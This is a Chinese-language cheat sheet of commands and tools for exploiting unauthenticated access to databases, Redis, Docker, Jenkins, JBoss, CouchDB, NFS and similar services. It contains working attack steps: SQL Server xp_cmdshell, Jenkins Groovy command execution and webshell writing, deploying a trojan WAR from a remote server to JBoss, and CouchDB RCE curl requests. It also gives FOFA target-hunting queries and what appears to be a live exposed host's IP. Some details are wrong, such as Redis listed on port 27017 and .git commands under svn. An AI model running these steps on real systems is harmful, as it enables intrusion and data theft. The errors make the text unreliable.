前言
未授權訪問漏洞是常見的攻擊入口點,某些嚴重的未授權訪問會直接導致getshell,熟悉常見的未授權訪問漏洞排查方法對紅藍雙方都有很大的幫助。本文對常見的未授權訪問利用所需的工具和命令做總結。
mysql
3306端口未授權訪問,可讀取數據庫內容,可嘗試在web路徑寫webshell
工具:Navicat
sqlserver
1433端口未授權訪問,可讀取數據庫內容,可嘗試執行master..cmdshell
exec master.xp..cmdshell 'whoami' exec master..cmdshell 'dir c:\'
工具:Navicat
MongoDB
27017端口未授權訪問,可讀取數據庫內容
工具:Navicat,Robo3T
Redis
27017端口未授權訪問,可讀取數據庫內容
可通過四種方式getshell:寫webshell、寫crontabs、寫ssh公鑰、Redis主從復制(4.x,5.x)
工具:Redis-cli,fofa:protocol=redis
Hadoop
Hadoop webUI界面未授權訪問,如果存在New Application API功能,可嘗試getshell
工具:瀏覽器,https://github.com/vulhub/vulhub/blob/master/hadoop/unauthorized-yarn/exploit.py
Elasticsearch
9200端口未授權訪問,可非法操作數據
http://ip:9200/_plugin/head/ web管理界面 http://ip:9200/_cat/indices 查看集群當前狀態 http://ip:9200/_nodes 查看節點數據 http://ip:9200/_river/_search 查看數據庫敏感信息
ZooKeeper
2181,2182端口未授權訪問,可讀取敏感信息,或者在Zookeeper集群內執行kill命令
工具:netcat,https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
SpringBoot
SpringBoot,web中env路徑配置文件未授權訪問,可暴露大量聯動設備密碼信息
工具:瀏覽器
ds_store
http://ip/.ds_store未授權訪問,可通過github工具下載web目錄
工具:https://github.com/lijiejie/ds_store_exp
VNC
vnc用於遠程桌面控制,默認端口在5900-5905之間,此類端口未授權訪問會導致惡意用戶直接控制受控主機
工具:VNCview
Docker
docker的2375端口web未授權訪問,可通過訪問ip:2375/version驗證,有可能造成執行目標服務器容器命令如container、image等
工具:瀏覽器
Jenkins
Jenkins面板http://ip:8080/manage
未授權訪問會允許用戶選擇執行腳本界面,操作一些系統層命令
println "whoami".execute().text 命令執行 new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>'); 寫webshell
工具:瀏覽器
Memcached
Memcached是一套常用的key-value分布式高速緩存系統,由於其設計缺陷沒有權限控制模塊,若11211端口的服務對公網開放,攻擊者無需授權即可通過命令訪問Memcached中的敏感信息。
telnet ip 11211 或 nc -vv <target> 11211 無需用戶名密碼,可以直接連接memcache服務的11211端口 stats #查看memcache服務狀態
JBOSS
JBOSS的webUI界面http://ip:8080/jmx-console未授權訪問(或默認密碼admin/admin),可導致JBoss的部署管理的信息泄露,攻擊者也可以直接上傳木馬獲取webshell
點擊JMX CONSOLE未授權訪問 點擊jboss.deployment中的deploymentScanner進入應用部署頁面 使用apache搭建遠程木馬服務器shell.war addurl-java.lang.String配置訪問木馬地址http://<ip>/shell.war 訪問http://ip:8080/shell/
http://221.229.247.184:8080/jmx-console/
工具:瀏覽器,fofa:”JBoss Management”
svn
.svn目錄未授權訪問,可能導致大量源碼泄露
方法1
wget -r -p -np -k http://www.xxx.com/.git/ #先遞歸批量下載.git目錄 git log #查看網站的提交記錄 git reset --hard [log hash] #恢復到指定版本號
方法2
GitHack.py http://www.xxx.com/.git/
工具:git,https://github.com/lijiejie/GitHack
nfs
nfs默認端口2049,配置不當時,可以遠程掛載nfs的共享目錄
apt install nfs-common 安裝nfs客戶端 showmount -e xx.xx.xx.xx 查看nfs服務器上的共享目錄 mount -t nfs xx.xx.xx.xx:/grdata /mnt 掛載到本地 umount /mnt 卸載目錄
CouchDB
CouchDB的webui未授權訪問時,可通過 http://xx.xx.xx.xx:5984/_utils/ 頁面創建管理員用戶,並通過put方式遠程代碼執行(CVE-2017-12635)
curl -X PUT 'http://admin:admin@xx.xx.xx.xx:5984/_config/query_servers/cmd' -d '"id >/tmp/success"' curl -X PUT 'http://admin:admin@xx.xx.xx.xx:5984/vultest' curl -X PUT 'http://admin:admin@xx.xx.xx.xx:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}' curl -X POST 'http://admin:admin@xx.xx.xx.xx:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
工具:curl,https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
